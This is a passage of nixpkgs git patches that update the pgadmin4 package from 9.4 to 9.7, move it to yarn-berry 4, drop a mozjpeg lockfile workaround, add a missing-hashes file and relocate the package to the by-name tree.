 pkgs/tools/admin/pgadmin/default.nix   | 20 ++++++-------
 pkgs/tools/admin/pgadmin/mozjpeg.patch | 41 +++++++++++++-------------
 pkgs/tools/admin/pgadmin/update.sh     |  2 +-
 3 files changed, 31 insertions(+), 32 deletions(-)

diff --git a/pkgs/tools/admin/pgadmin/default.nix b/pkgs/tools/admin/pgadmin/default.nix
index 1bd7de472492..fa7478ad0db7 100644
--- a/pkgs/tools/admin/pgadmin/default.nix
+++ b/pkgs/tools/admin/pgadmin/default.nix
@@ -6,7 +6,7 @@
   nixosTests,
   postgresqlTestHook,
   postgresql,
-  yarn-berry_3,
+  yarn-berry_4,
   nodejs,
   autoconf,
   automake,
@@ -22,14 +22,14 @@
 
 let
   pname = "pgadmin";
-  version = "9.4";
-  yarnHash = "sha256-AlAyHtadjmKZb0rHNIlaPtEcGFQ15Fc6rExMsNFGwDc=";
+  version = "9.5";
+  yarnHash = "sha256-i3WCEpcZepB7K0A4QgjoLfkO7icew/8usJCo4DkWT6I=";
 
   src = fetchFromGitHub {
     owner = "pgadmin-org";
     repo = "pgadmin4";
     rev = "REL-${lib.versions.major version}_${lib.versions.minor version}";
-    hash = "sha256-oslp9g63mYeP9CmpCzF80nlyqF1ftGbMRIsp6goJOx4=";
+    hash = "sha256-5FwYkdhpg/2Cidi2qiFhhsQYbIwsp80K3MNxw5rp4ww=";
   };
 
   mozjpeg-bin = fetchFromGitHub {
@@ -59,7 +59,7 @@ in
 pythonPackages.buildPythonApplication rec {
   inherit pname version src;
 
-  offlineCache = yarn-berry_3.fetchYarnBerryDeps {
+  offlineCache = yarn-berry_4.fetchYarnBerryDeps {
     # mozjpeg fails to build on darwin due to a hardocded path
     # this has been fixed upstream on master but no new version
     # has been released. We therefore point yarn to upstream
@@ -154,11 +154,11 @@ pythonPackages.buildPythonApplication rec {
     export LD=$CC
     export HOME=$(mktemp -d)
     export YARN_ENABLE_SCRIPTS=1
-    YARN_IGNORE_PATH=1 ${yarn-berry_3.yarn-berry-offline}/bin/yarn config set enableTelemetry false
-    YARN_IGNORE_PATH=1 ${yarn-berry_3.yarn-berry-offline}/bin/yarn config set enableGlobalCache false
+    YARN_IGNORE_PATH=1 ${yarn-berry_4.yarn-berry-offline}/bin/yarn config set enableTelemetry false
+    YARN_IGNORE_PATH=1 ${yarn-berry_4.yarn-berry-offline}/bin/yarn config set enableGlobalCache false
     export npm_config_nodedir="${srcOnly nodejs}"
     export npm_config_node_gyp="${nodejs}/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js"
-    YARN_IGNORE_PATH=1 ${yarn-berry_3.yarn-berry-offline}/bin/yarn install --inline-builds
+    YARN_IGNORE_PATH=1 ${yarn-berry_4.yarn-berry-offline}/bin/yarn install --inline-builds
     )
     yarn webpacker
     cp -r * ../pip-build/pgadmin4
@@ -185,8 +185,8 @@ pythonPackages.buildPythonApplication rec {
     cython
     pip
     sphinx
-    yarn-berry_3
-    yarn-berry_3.yarnBerryConfigHook
+    yarn-berry_4
+    yarn-berry_4.yarnBerryConfigHook
     nodejs
 
     # for building mozjpeg2
diff --git a/pkgs/tools/admin/pgadmin/mozjpeg.patch b/pkgs/tools/admin/pgadmin/mozjpeg.patch
index dc73c7b4957a..71b6f42eb409 100644
--- a/pkgs/tools/admin/pgadmin/mozjpeg.patch
+++ b/pkgs/tools/admin/pgadmin/mozjpeg.patch
@@ -1,45 +1,44 @@
 diff --git a/yarn.lock b/yarn.lock
-index fa189ef..54066a6 100644
+index 8bfff31..0f12f87 100644
 --- a/yarn.lock
 +++ b/yarn.lock
-@@ -7299,6 +7299,23 @@ __metadata:
+@@ -7347,6 +7347,23 @@ __metadata:
    languageName: node
    linkType: hard
- 
+
 +"execa@npm:^7.1.1":
 +  version: 7.1.1
 +  resolution: "execa@npm:7.1.1"
 +  dependencies:
-+    cross-spawn: ^7.0.3
-+    get-stream: ^6.0.1
-+    human-signals: ^3.0.1
-+    is-stream: ^3.0.0
-+    merge-stream: ^2.0.0
-+    npm-run-path: ^5.1.0
-+    onetime: ^6.0.0
-+    signal-exit: ^3.0.7
-+    strip-final-newline: ^3.0.0
-+  checksum: 21fa46fc69314ace4068cf820142bdde5b643a5d89831c2c9349479c1555bff137a291b8e749e7efca36535e4e0a8c772c11008ca2e84d2cbd6ca141a3c8f937
++    cross-spawn: "npm:^7.0.3"
++    get-stream: "npm:^6.0.1"
++    human-signals: "npm:^3.0.1"
++    is-stream: "npm:^3.0.0"
++    merge-stream: "npm:^2.0.0"
++    npm-run-path: "npm:^5.1.0"
++    onetime: "npm:^6.0.0"
++    signal-exit: "npm:^3.0.7"
++    strip-final-newline: "npm:^3.0.0"
++  checksum: 0da5ee1c895b62142bc3d1567d1974711c28c2cfa6bae96e1923379bd597e476d762a13f282f92815d8ebfa33407949634fa32a0d6db8334a20e625fe11d4351
 +  languageName: node
 +  linkType: hard
 +
  "executable@npm:^4.1.0":
    version: 4.1.1
    resolution: "executable@npm:4.1.1"
-@@ -11027,13 +11044,14 @@ __metadata:
- 
+@@ -11120,13 +11137,14 @@ __metadata:
+
  "mozjpeg@npm:^8.0.0":
    version: 8.0.0
 -  resolution: "mozjpeg@npm:8.0.0"
 +  resolution: "mozjpeg@https://github.com/imagemin/mozjpeg-bin.git#commit=c0587fbc00b21ed8cad8bae499a0827baeaf7ffa"
    dependencies:
-     bin-build: ^3.0.0
-     bin-wrapper: ^4.0.0
-+    execa: ^7.1.1
+     bin-build: "npm:^3.0.0"
+     bin-wrapper: "npm:^4.0.0"
++    execa: "npm:^7.1.1"
    bin:
      mozjpeg: cli.js
--  checksum: cba27c2efbc21a48434da1c6c8d6886988432430f958315fc59ef9b52bc2d6ee597e19f1cf6aae0fd611d5b2a113561fe2e85ec30a1ccd55c007340c638eb557
+-  checksum: 10c0/e91294c15bb31dcaa5eb0780e772214052aa8cb1efc35f74a5c4fe85c9af9d3d6e2f3dc64d3379a86a63b5cbc86a2618c23e350c9131e55ac76726647537b7e8
 +  checksum: cba27c2efbc21a48434da1c6c8d6886988432430f958315fc59ef9b52bc2d6ee597e19f1cf6aae0fd611d5b2a113561fe2e85ec30a1ccd55c007340c638eb556
    languageName: node
-   linkType: hard
- 
+   linkType: hard
\ No newline at end of file
diff --git a/pkgs/tools/admin/pgadmin/update.sh b/pkgs/tools/admin/pgadmin/update.sh
index ef09e7250f75..068afec737de 100755
--- a/pkgs/tools/admin/pgadmin/update.sh
+++ b/pkgs/tools/admin/pgadmin/update.sh
@@ -1,5 +1,5 @@
 #!/usr/bin/env nix-shell
-#!nix-shell -i bash -p curl wget jq common-updater-scripts yarn-berry_3 yarn-berry_3.yarn-berry-fetcher
+#!nix-shell -i bash -p curl wget jq common-updater-scripts yarn-berry_4 yarn-berry_4.yarn-berry-fetcher
 
 set -eu -o pipefail
 

From dfe6a4a4ff10a4f138843edc70448275ee343b35 Mon Sep 17 00:00:00 2001
From: Florian Brandes <florian.brandes@posteo.de>
Date: Sat, 2 Aug 2025 21:32:36 +0200
Subject: [PATCH 4353/4511] pgadmin: 9.5 -> 9.6

Signed-off-by: Florian Brandes <florian.brandes@posteo.de>
(cherry picked from commit fdf016ddbd0d7b37e55ddd83261a556982d4ef68)
---
 pkgs/tools/admin/pgadmin/default.nix         | 62 ++------------------
 pkgs/tools/admin/pgadmin/missing-hashes.json | 43 ++++++++++++++
 pkgs/tools/admin/pgadmin/mozjpeg.patch       | 44 --------------
 pkgs/tools/admin/pgadmin/update.sh           |  5 +-
 4 files changed, 50 insertions(+), 104 deletions(-)
 create mode 100644 pkgs/tools/admin/pgadmin/missing-hashes.json
 delete mode 100644 pkgs/tools/admin/pgadmin/mozjpeg.patch

diff --git a/pkgs/tools/admin/pgadmin/default.nix b/pkgs/tools/admin/pgadmin/default.nix
index fa7478ad0db7..894d1e0061d3 100644
--- a/pkgs/tools/admin/pgadmin/default.nix
+++ b/pkgs/tools/admin/pgadmin/default.nix
@@ -13,30 +13,21 @@
   libtool,
   libpng,
   nasm,
-  cmake,
   pkg-config,
   stdenv,
-  srcOnly,
   server-mode ? true,
 }:
 
 let
   pname = "pgadmin";
-  version = "9.5";
-  yarnHash = "sha256-i3WCEpcZepB7K0A4QgjoLfkO7icew/8usJCo4DkWT6I=";
+  version = "9.6";
+  yarnHash = "sha256-G3iG11nPEtco7FJe1H4s85tMpHqmUgPbj68gADBqDfY=";
 
   src = fetchFromGitHub {
     owner = "pgadmin-org";
     repo = "pgadmin4";
     rev = "REL-${lib.versions.major version}_${lib.versions.minor version}";
-    hash = "sha256-5FwYkdhpg/2Cidi2qiFhhsQYbIwsp80K3MNxw5rp4ww=";
-  };
-
-  mozjpeg-bin = fetchFromGitHub {
-    owner = "imagemin";
-    repo = "mozjpeg-bin";
-    rev = "c0587fbc00b21ed8cad8bae499a0827baeaf7ffa";
-    hash = "sha256-D/pXQBlIIyk7KAgxJ1gKqxYxtlfBbLzUSmYZbH659cA=";
+    hash = "sha256-9WYyfioDb2eDf4oeMQ0kF/NUOuwki5gVZjlmels/+1g=";
   };
 
   # keep the scope, as it is used throughout the derivation and tests
@@ -58,16 +49,10 @@ in
 
 pythonPackages.buildPythonApplication rec {
   inherit pname version src;
+  missingHashes = ./missing-hashes.json;
 
   offlineCache = yarn-berry_4.fetchYarnBerryDeps {
-    # mozjpeg fails to build on darwin due to a hardocded path
-    # this has been fixed upstream on master but no new version
-    # has been released. We therefore point yarn to upstream
-    # see https://github.com/imagemin/mozjpeg-bin/issues/64
-    # and https://github.com/imagemin/mozjpeg-bin/issues/81
-    patches = [
-      ./mozjpeg.patch
-    ];
+    inherit missingHashes;
     src = src + "/web";
     hash = yarnHash;
   };
@@ -85,11 +70,6 @@ pythonPackages.buildPythonApplication rec {
   ];
 
   postPatch = ''
-    # the patch needs to be executed inside the /web subfolder
-    # therefore it is included here and not in `patches`
-    cd web
-    patch -u yarn.lock ${./mozjpeg.patch}
-    cd ..
     # patching Makefile, so it doesn't try to build sphinx documentation here
     # (will do so later)
     substituteInPlace Makefile \
@@ -111,9 +91,6 @@ pythonPackages.buildPythonApplication rec {
   '';
 
   dontYarnBerryInstallDeps = true;
-  env.YARN_ENABLE_SCRIPTS = "0";
-  dontUseCmakeConfigure = true;
-
   preBuild = ''
     # Adapted from pkg/pip/build.sh
     echo Creating required directories...
@@ -141,25 +118,6 @@ pythonPackages.buildPythonApplication rec {
     export LD=$CC # https://github.com/imagemin/optipng-bin/issues/108
     yarnBerryConfigHook
     )
-    # mozjpeg vendored source isn't included in the checkout for yarn. If we copy it before the
-    # yarnConfigHook it will just get overwritten. So we first run the configHook without build,
-    # then copy the vendored source and then build the dependencies
-    # This has the disadvantage of repeating some of the yarnConfigHooks logic here
-    mkdir -p node_modules/mozjpeg/vendor/source
-    cp ${mozjpeg-bin}/vendor/source/mozjpeg.tar.gz node_modules/mozjpeg/vendor/source/
-    (
-    # https://github.com/mozilla/mozjpeg/issues/438
-    substituteInPlace node_modules/mozjpeg/lib/install.js --replace-fail "cmake -DCMAKE" "cmake -DENABLE_STATIC=FALSE -DCMAKE"
-    substituteInPlace node_modules/mozjpeg/lib/install.js --replace-fail "cp cjpeg-static" "cp cjpeg"
-    export LD=$CC
-    export HOME=$(mktemp -d)
-    export YARN_ENABLE_SCRIPTS=1
-    YARN_IGNORE_PATH=1 ${yarn-berry_4.yarn-berry-offline}/bin/yarn config set enableTelemetry false
-    YARN_IGNORE_PATH=1 ${yarn-berry_4.yarn-berry-offline}/bin/yarn config set enableGlobalCache false
-    export npm_config_nodedir="${srcOnly nodejs}"
-    export npm_config_node_gyp="${nodejs}/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js"
-    YARN_IGNORE_PATH=1 ${yarn-berry_4.yarn-berry-offline}/bin/yarn install --inline-builds
-    )
     yarn webpacker
     cp -r * ../pip-build/pgadmin4
     # save some disk space
@@ -188,21 +146,11 @@ pythonPackages.buildPythonApplication rec {
     yarn-berry_4
     yarn-berry_4.yarnBerryConfigHook
     nodejs
-
-    # for building mozjpeg2
-    cmake
-    autoconf
-    automake
-    libtool
-    nasm
-    pkg-config
   ];
 
   buildInputs = [
     zlib
     pythonPackages.wheel
-    # for mozjpeg2
-    libpng
   ];
 
   propagatedBuildInputs = with pythonPackages; [
diff --git a/pkgs/tools/admin/pgadmin/missing-hashes.json b/pkgs/tools/admin/pgadmin/missing-hashes.json
new file mode 100644
index 000000000000..05460a63f4a7
--- /dev/null
+++ b/pkgs/tools/admin/pgadmin/missing-hashes.json
@@ -0,0 +1,43 @@
+{
+  "@img/sharp-darwin-arm64@npm:0.34.3": "c5ed848f3cecaced50be6d1805cfb23586299f119a9917880c3f590b7ddd54b930e493c73480d13452503101168f92a0dc85ccc5b19b330470a5fe69e1fcf206",
+  "@img/sharp-darwin-x64@npm:0.34.3": "7e892ca052c8eb9002fb6e86e0a7893aff909e0f203f6ada7a67f4ca7e189631203189700a498ab3401280f5c042f5b08c3f7bc713192a97228864e9c4527743",
+  "@img/sharp-libvips-darwin-arm64@npm:1.2.0": "35d0d475da11fdfd7f5b5f7f1de4376ac04de6d6e0879833f71b2fa305b9d58c96ee464cf234060506ef9b1e2eabe5c09c302e818f8899b2ced1fcb7f85c01eb",
+  "@img/sharp-libvips-darwin-x64@npm:1.2.0": "e853f3b8a19d815af553b703e1d6d70abec525c61f3f19cc8a9d50d3749bc563b7f255307709b7c0836f76b110948489d3a9a3932d2fbc1775a083a56979bf56",
+  "@img/sharp-libvips-linux-arm64@npm:1.2.0": "ec53e3e62c9351e28ea0e4c26a1d8ab257ac003e8184b1757b79c2a240baecec2452e0dbca08c8227fd01c498801c428230261fdb86198e873e07347d741c3c7",
+  "@img/sharp-libvips-linux-arm@npm:1.2.0": "a2f9822cb2ac5b315f2a02c59ebdb235f6c45251207795f83f1a92db696a9deced882dc752bdddd1eab98da5d7d1d1e9968ae142313ff09960b7ae30b760ba07",
+  "@img/sharp-libvips-linux-ppc64@npm:1.2.0": "e90e1c46e6020f3a96562dd526549af2fabff46a1576f2e7af003be4b5efeb6fc8caa8e303e2eeb58129c938be31e0bf067736072479f2298152230cecd5fce4",
+  "@img/sharp-libvips-linux-s390x@npm:1.2.0": "2cf62c8b285effd3a3ec8854bc5fd78af162459294a6d9847af33d6bdeacfbad81cb0bec68b76889b148306a8a28492b4d44e6c96b778d0879349180191d758d",
+  "@img/sharp-libvips-linux-x64@npm:1.2.0": "ca342d07d1f0d22559f26bdcc0354f87a845ef19c69c22e37d9e23d71de15159f50d01183e8e7ea75e0ccfb6c7be9406741414a1f3534ec4aba10e51f0d7dffd",
+  "@img/sharp-libvips-linuxmusl-arm64@npm:1.2.0": "aa248f0c8602b0a17fdb5c1b00ce7dbb09f05b94a45ee7f226eaebfa459d4ee3fd407c62244902e15699927943c511a7fe045b575185ecc9b585987b64ae6cb1",
+  "@img/sharp-libvips-linuxmusl-x64@npm:1.2.0": "811071647c5129a1ead1e54b8f4672061bbbc1177d1d49127c755848e81f21bcbf5bf438c0e53118e731be5e000235904de3b5cf305053de015b56609a059371",
+  "@img/sharp-linux-arm64@npm:0.34.3": "3e8d53f54789b3d98dc14bf696917ff50f8c8c355aedc0dc90890ca764259bafec7390eabe262ce843eab8b74e0c128858128ce614e0b85dcba28d6b9ce3ea3f",
+  "@img/sharp-linux-arm@npm:0.34.3": "563c48ee129e5f3c6afed71ffba9c79a4369e7967e7b3a4a97d9b1e5aefa511873d3cd7a568ec42cd5968ea76f89ab93ee65c1363170af50559b620bfdb89d5b",
+  "@img/sharp-linux-ppc64@npm:0.34.3": "5973f8c522f33f826efff4052e253ec554882db54421a00f2636594e9ccc27e16dfb865f8de101678cb07b1a2d31b516ce4a88b65132ecc1101d07b6cc1bd571",
+  "@img/sharp-linux-s390x@npm:0.34.3": "284d2fcd9cc297b27ec135b0c63d5a6170cb17be378d92c75ec19b6034e7ed5801cab04ca17d445a80b073d67c4f9fe809334f5d4edf533c2d81d66d5d882ef3",
+  "@img/sharp-linux-x64@npm:0.34.3": "a370c04ca6d4145e6d6529d84b133d80e88d408e4483ba168e5993e5b4c0cbd2db57d4e53aca0bfa43320b571ff8bd70c22d8d7f5fadb5e5df1ded91393ae71d",
+  "@img/sharp-linuxmusl-arm64@npm:0.34.3": "c63d8afda1a7d4810bdc19473b6235313d923f8763a8dfc182465b63b8e4805769a9e92a8b2136f0235e07ae1b1ab63adfa904bb833d64f0495108dfc180a475",
+  "@img/sharp-linuxmusl-x64@npm:0.34.3": "9500e8f5d0ab96395a8d522920f25d4376d928ec58e88b3a5dbce5249c26efec046d20845bee8e9233fbff5287cfa979cfc079bc608342d257a6827be6cc0322",
+  "@img/sharp-wasm32@npm:0.34.3": "840dd97d3151b2189c3d0ee0746c139cbdd0441d5d5dfc87d2dd9970fc2c5448a3815c3110c64009998d165ca6dc7b5d58811b98b2c1e4ab0a1eb5ad97275f1e",
+  "@img/sharp-win32-arm64@npm:0.34.3": "adc7d18a8334ca1fea09c877dc9493e75a9018f73dc63038c8ccef7535a272c0aa3c2a9867a49a223703747149fb1fe57ef8580dd6098f0f33c602a876a48e1b",
+  "@img/sharp-win32-ia32@npm:0.34.3": "eef220adf1240429f72d9a9aadc22ccb741889785fa025396cfed41603364990b5f3841cee4d60525b22e65f36c7416297581300c873268fe2b7bb67087ada73",
+  "@img/sharp-win32-x64@npm:0.34.3": "5a5d2624bea7a31393b5a89738ad22a2b020a67f5e5b9eb40063510b514e8516b0fb4e320ff9eb1d32fa2ee3b4c3a0387333d051da28d93957116cbbd63b5fe0",
+  "@unrs/resolver-binding-android-arm-eabi@npm:1.11.0": "c1b6a9231008b88b21ae121b947704c933bed766f429ee30e464ce8602793ad8420dee1107e5a389d358b9fb9130c1c04a45c54fd23f76fffc148322f77aac21",
+  "@unrs/resolver-binding-android-arm64@npm:1.11.0": "30870e5ceee3dd1be8150d1c7d719bd459ebdc1c7134e0fdf1f0864f15d395d490966373895728dc05a56ea19acce6a210826acce7fb4ae2806805b04204498b",
+  "@unrs/resolver-binding-darwin-arm64@npm:1.11.0": "050dee0e5fdbcb4104dba8ecdff32a37abc349406fd3f20f7aa5b90eff446db7791a948c9d508d0f801c21d697d88082d974ebd7eb034257bacfd1b91c9e52fa",
+  "@unrs/resolver-binding-darwin-x64@npm:1.11.0": "c88bd64753d75539d66fb149f190edafb6415cf178619b27d778b98f6aeb1c538730842f522b7ce0b209ed07c73644d729c55883b3d854317c8395c1e36325e9",
+  "@unrs/resolver-binding-freebsd-x64@npm:1.11.0": "f0da5e7d2ddc0c6af523741dc0395340c7cd908510c342a0e8a20e2281fdc7e9b965339d1a337cf358883a3e41b393e26315950c9ab3594c342a758065e83f01",
+  "@unrs/resolver-binding-linux-arm-gnueabihf@npm:1.11.0": "e3379d1e50209ea97066f7e275285fa9fdafe51e0b55786283cf72f6fde0d7b2bcbadf5443f8fe4d4852033ee9737ea4965b768660fb8fe5424f8df383eb1e63",
+  "@unrs/resolver-binding-linux-arm-musleabihf@npm:1.11.0": "af37c332162f948867da2ce5c0cf2482447d3458437116f90e9a7bdbfb69ff7ce64151c5aacd6b82ad0d0b49bbca13cca098bc448fe736e7b2451d3def580dcc",
+  "@unrs/resolver-binding-linux-arm64-gnu@npm:1.11.0": "9b0b1649b6493af4383e92453699f970acce726e69f666ba9f23ee7cd43393bce56ed18aa1d7d54550e17e46cd814eb2fd5a78fab64b2794b2647bc6f081f38a",
+  "@unrs/resolver-binding-linux-arm64-musl@npm:1.11.0": "defe8b45c1700d577cc5d7b672bbde3b22b5e8ceaa9778742c7b6735665e9e778cc4223a230a8d6c8175ece6bbe896dfb4c142be9f4c9dac35bd8c131ae0bb23",
+  "@unrs/resolver-binding-linux-ppc64-gnu@npm:1.11.0": "14ef4060c46d15b656e8b9d76da3d52251e9b2ac9e72036d6563cea82912cfb3c1ec054772641427e2422d8701275692c8820be8870feea710de212ecb286c43",
+  "@unrs/resolver-binding-linux-riscv64-gnu@npm:1.11.0": "b781e07bbdf954976f057242b5b450c85866b6cafbad316dfde45f7ef323b55ce85127cd1275e180efa091046347edb1486b7e551eb3f0f2ff462668998e426b",
+  "@unrs/resolver-binding-linux-riscv64-musl@npm:1.11.0": "be1be1eee6f46549473392ed8f0625127e1cad3aa5bc4979d9e1d9bbb99274b78451aab2318b3e2573be1096f845a3d4014de1888f6055b0135596bc8a475311",
+  "@unrs/resolver-binding-linux-s390x-gnu@npm:1.11.0": "1ec2f875f3548dc1646ab6a2a5d3143872b15797ac11842aff61f01c90c7239752fe2e634ce8da6f8908630a8132a0e0e0c3cff45719802fec464d53fcb1e64d",
+  "@unrs/resolver-binding-linux-x64-gnu@npm:1.11.0": "1257c1d3d37a1b47d0b50f68ebe6401f5f38f2a95635e475178a159c95c9a8c78fe6455bb93ff2dfc7885174e15b4df8d3fcba3f1dfa6a65662d9ec92eb7c34d",
+  "@unrs/resolver-binding-linux-x64-musl@npm:1.11.0": "af64c0803ac865d8726c45ed9208110d8720df441ed5da6b0a9667ecb963c7cd3e3ee5bccc7a97e73793e30dd7421e468560428e73469ad1513ed4c76441ee3d",
+  "@unrs/resolver-binding-wasm32-wasi@npm:1.11.0": "7172db7c1cd756c95ba7ba6f49526ac7be03960cd7928ec9fd5c757001d28fa2bf652a31671ac3b131bb37e627bd4b6f592023a9f5b6b820f33ad93cc6b88acf",
+  "@unrs/resolver-binding-win32-arm64-msvc@npm:1.11.0": "a0ffc06551498f263547a3371252f2ff8ce38da28f726ae8d6c4e1be8e968596e0b3fad8fadcc01856bde845733a8527d4b55727b9fbd1774da5728423a76181",
+  "@unrs/resolver-binding-win32-ia32-msvc@npm:1.11.0": "64478bb41d415cd2ac220b3518e286e24bbb18f50083545d1d8a40b565caaa24d72f43fb79c57f1ca919591870e27289ddf3c69cb5b763fd686c354fdd1e6e1b",
+  "@unrs/resolver-binding-win32-x64-msvc@npm:1.11.0": "9b44241725f19ba4aeb9377f7be3153b3e36971f9224b502921cffb72122ed9fa9f7b0a77e3bd6ec941c18f8b161782b4e8ea43eafc61e9d575d40c4c88c367b"
+}
diff --git a/pkgs/tools/admin/pgadmin/mozjpeg.patch b/pkgs/tools/admin/pgadmin/mozjpeg.patch
deleted file mode 100644
index 71b6f42eb409..000000000000
--- a/pkgs/tools/admin/pgadmin/mozjpeg.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-diff --git a/yarn.lock b/yarn.lock
-index 8bfff31..0f12f87 100644
---- a/yarn.lock
-+++ b/yarn.lock
-@@ -7347,6 +7347,23 @@ __metadata:
-   languageName: node
-   linkType: hard
-
-+"execa@npm:^7.1.1":
-+  version: 7.1.1
-+  resolution: "execa@npm:7.1.1"
-+  dependencies:
-+    cross-spawn: "npm:^7.0.3"
-+    get-stream: "npm:^6.0.1"
-+    human-signals: "npm:^3.0.1"
-+    is-stream: "npm:^3.0.0"
-+    merge-stream: "npm:^2.0.0"
-+    npm-run-path: "npm:^5.1.0"
-+    onetime: "npm:^6.0.0"
-+    signal-exit: "npm:^3.0.7"
-+    strip-final-newline: "npm:^3.0.0"
-+  checksum: 0da5ee1c895b62142bc3d1567d1974711c28c2cfa6bae96e1923379bd597e476d762a13f282f92815d8ebfa33407949634fa32a0d6db8334a20e625fe11d4351
-+  languageName: node
-+  linkType: hard
-+
- "executable@npm:^4.1.0":
-   version: 4.1.1
-   resolution: "executable@npm:4.1.1"
-@@ -11120,13 +11137,14 @@ __metadata:
-
- "mozjpeg@npm:^8.0.0":
-   version: 8.0.0
--  resolution: "mozjpeg@npm:8.0.0"
-+  resolution: "mozjpeg@https://github.com/imagemin/mozjpeg-bin.git#commit=c0587fbc00b21ed8cad8bae499a0827baeaf7ffa"
-   dependencies:
-     bin-build: "npm:^3.0.0"
-     bin-wrapper: "npm:^4.0.0"
-+    execa: "npm:^7.1.1"
-   bin:
-     mozjpeg: cli.js
--  checksum: 10c0/e91294c15bb31dcaa5eb0780e772214052aa8cb1efc35f74a5c4fe85c9af9d3d6e2f3dc64d3379a86a63b5cbc86a2618c23e350c9131e55ac76726647537b7e8
-+  checksum: cba27c2efbc21a48434da1c6c8d6886988432430f958315fc59ef9b52bc2d6ee597e19f1cf6aae0fd611d5b2a113561fe2e85ec30a1ccd55c007340c638eb556
-   languageName: node
-   linkType: hard
\ No newline at end of file
diff --git a/pkgs/tools/admin/pgadmin/update.sh b/pkgs/tools/admin/pgadmin/update.sh
index 068afec737de..734853b4af1a 100755
--- a/pkgs/tools/admin/pgadmin/update.sh
+++ b/pkgs/tools/admin/pgadmin/update.sh
@@ -41,11 +41,10 @@ pushd $TMPDIR
 wget -c $url
 tar -xzf "pgadmin4-$newest_version.tar.gz"
 cd "pgadmin4-$newest_version/web"
-patch -u yarn.lock ${scriptDir}/mozjpeg.patch
 
 printf "Will now generate the hash. This will download the packages to the nix store and also take some time\n"
-yarn-berry-fetcher missing-hashes yarn.lock
-if [[ -f missing-hashes.json ]]; then
+yarn-berry-fetcher missing-hashes yarn.lock > missing-hashes.json
+if [[ $(wc -l <missing-hashes.json) -ge 2 ]]; then
   YARN_HASH=$(yarn-berry-fetcher prefetch yarn.lock missing-hashes.json)
 else
   YARN_HASH=$(yarn-berry-fetcher prefetch yarn.lock)

From 62a639d55519cae2a2f725d64dbdfbd97c7b52f4 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Thu, 21 Aug 2025 09:17:41 +0200
Subject: [PATCH 4354/4511] pgadmin4: move to by-name

(cherry picked from commit a85e9001f321f483be41ff55639582c4cb32a683)
---
 .../pg/pgadmin4}/check-system-config-dir.patch                | 0
 .../pgadmin => by-name/pg/pgadmin4}/expose-setup.py.patch     | 0
 .../admin/pgadmin => by-name/pg/pgadmin4}/missing-hashes.json | 0
 .../pgadmin/default.nix => by-name/pg/pgadmin4/package.nix}   | 0
 pkgs/{tools/admin/pgadmin => by-name/pg/pgadmin4}/update.sh   | 4 ++--
 pkgs/top-level/all-packages.nix                               | 4 +---
 6 files changed, 3 insertions(+), 5 deletions(-)
 rename pkgs/{tools/admin/pgadmin => by-name/pg/pgadmin4}/check-system-config-dir.patch (100%)
 rename pkgs/{tools/admin/pgadmin => by-name/pg/pgadmin4}/expose-setup.py.patch (100%)
 rename pkgs/{tools/admin/pgadmin => by-name/pg/pgadmin4}/missing-hashes.json (100%)
 rename pkgs/{tools/admin/pgadmin/default.nix => by-name/pg/pgadmin4/package.nix} (100%)
 rename pkgs/{tools/admin/pgadmin => by-name/pg/pgadmin4}/update.sh (94%)

diff --git a/pkgs/tools/admin/pgadmin/check-system-config-dir.patch b/pkgs/by-name/pg/pgadmin4/check-system-config-dir.patch
similarity index 100%
rename from pkgs/tools/admin/pgadmin/check-system-config-dir.patch
rename to pkgs/by-name/pg/pgadmin4/check-system-config-dir.patch
diff --git a/pkgs/tools/admin/pgadmin/expose-setup.py.patch b/pkgs/by-name/pg/pgadmin4/expose-setup.py.patch
similarity index 100%
rename from pkgs/tools/admin/pgadmin/expose-setup.py.patch
rename to pkgs/by-name/pg/pgadmin4/expose-setup.py.patch
diff --git a/pkgs/tools/admin/pgadmin/missing-hashes.json b/pkgs/by-name/pg/pgadmin4/missing-hashes.json
similarity index 100%
rename from pkgs/tools/admin/pgadmin/missing-hashes.json
rename to pkgs/by-name/pg/pgadmin4/missing-hashes.json
diff --git a/pkgs/tools/admin/pgadmin/default.nix b/pkgs/by-name/pg/pgadmin4/package.nix
similarity index 100%
rename from pkgs/tools/admin/pgadmin/default.nix
rename to pkgs/by-name/pg/pgadmin4/package.nix
diff --git a/pkgs/tools/admin/pgadmin/update.sh b/pkgs/by-name/pg/pgadmin4/update.sh
similarity index 94%
rename from pkgs/tools/admin/pgadmin/update.sh
rename to pkgs/by-name/pg/pgadmin4/update.sh
index 734853b4af1a..de6bfcf81988 100755
--- a/pkgs/tools/admin/pgadmin/update.sh
+++ b/pkgs/by-name/pg/pgadmin4/update.sh
@@ -52,12 +52,12 @@ fi
 printf "Done\n"
 
 if [[ -f missing-hashes.json ]]; then
-  if [[ ! -f "$nixpkgs/pkgs/tools/admin/pgadmin/missing-hashes.json" ]]; then
+  if [[ ! -f "$nixpkgs/pkgs/by-name/pg/pgadmin4/missing-hashes.json" ]]; then
     printf "PLEASE NOTE: FIRST TIME OF FINDING MISSING HASHES!"
     printf "Please add \"missingHashes = ./missing-hashes.json\" to pgadmin derivation"
   fi
   printf "Copy files to nixpkgs\n"
-  cp missing-hashes.json "$nixpkgs/pkgs/tools/admin/pgadmin/"
+  cp missing-hashes.json "$nixpkgs/pkgs/by-name/pg/pgadmin4"
 fi
 
 printf "Done\n"
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 862b7fb44364..bbbedf07101f 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -16535,9 +16535,7 @@ with pkgs;
 
   resp-app = libsForQt5.callPackage ../applications/misc/resp-app { };
 
-  pgadmin4 = callPackage ../tools/admin/pgadmin { };
-
-  pgadmin4-desktopmode = callPackage ../tools/admin/pgadmin { server-mode = false; };
+  pgadmin4-desktopmode = pgadmin4.override { server-mode = false; };
 
   pgmodeler = qt6Packages.callPackage ../applications/misc/pgmodeler { };
 

From 18b358c97729b55b6790553918d098a60275d8a2 Mon Sep 17 00:00:00 2001
From: Florian Brandes <florian.brandes@posteo.de>
Date: Thu, 21 Aug 2025 18:10:24 +0200
Subject: [PATCH 4355/4511] pgadmin: 9.6 -> 9.7

Signed-off-by: Florian Brandes <florian.brandes@posteo.de>
(cherry picked from commit 3ac1ce821e42eefad7eb1f44ea0aa67dad0d5493)
---
 pkgs/by-name/pg/pgadmin4/missing-hashes.json | 38 ++++++++++----------
